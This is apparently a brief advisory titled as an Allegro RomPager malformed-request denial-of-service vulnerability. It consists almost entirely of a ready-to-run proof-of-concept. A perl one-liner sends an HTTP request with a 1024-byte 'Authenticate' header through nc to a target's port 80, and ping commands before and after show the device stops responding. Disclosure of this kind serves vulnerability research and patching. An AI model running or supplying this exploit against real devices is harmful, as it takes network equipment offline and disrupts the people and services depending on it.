Allegro RomPager Malformed URL Request DoS Vulnerability

The following example is made available by Seth Alan Woolley:
$ ip_address="some.ip.add.ress"
$ ping $ip_address # works

the one-liner:
$ perl -e 'print "GET / HTTP/1.1\r\nHost: '"$ip_address"'\r\nAuthenticate: " . 'A' x 1024 . "\r\n\r\n"' | nc "$ip_address" 80

$ ping $ip_address # doesn't work


 

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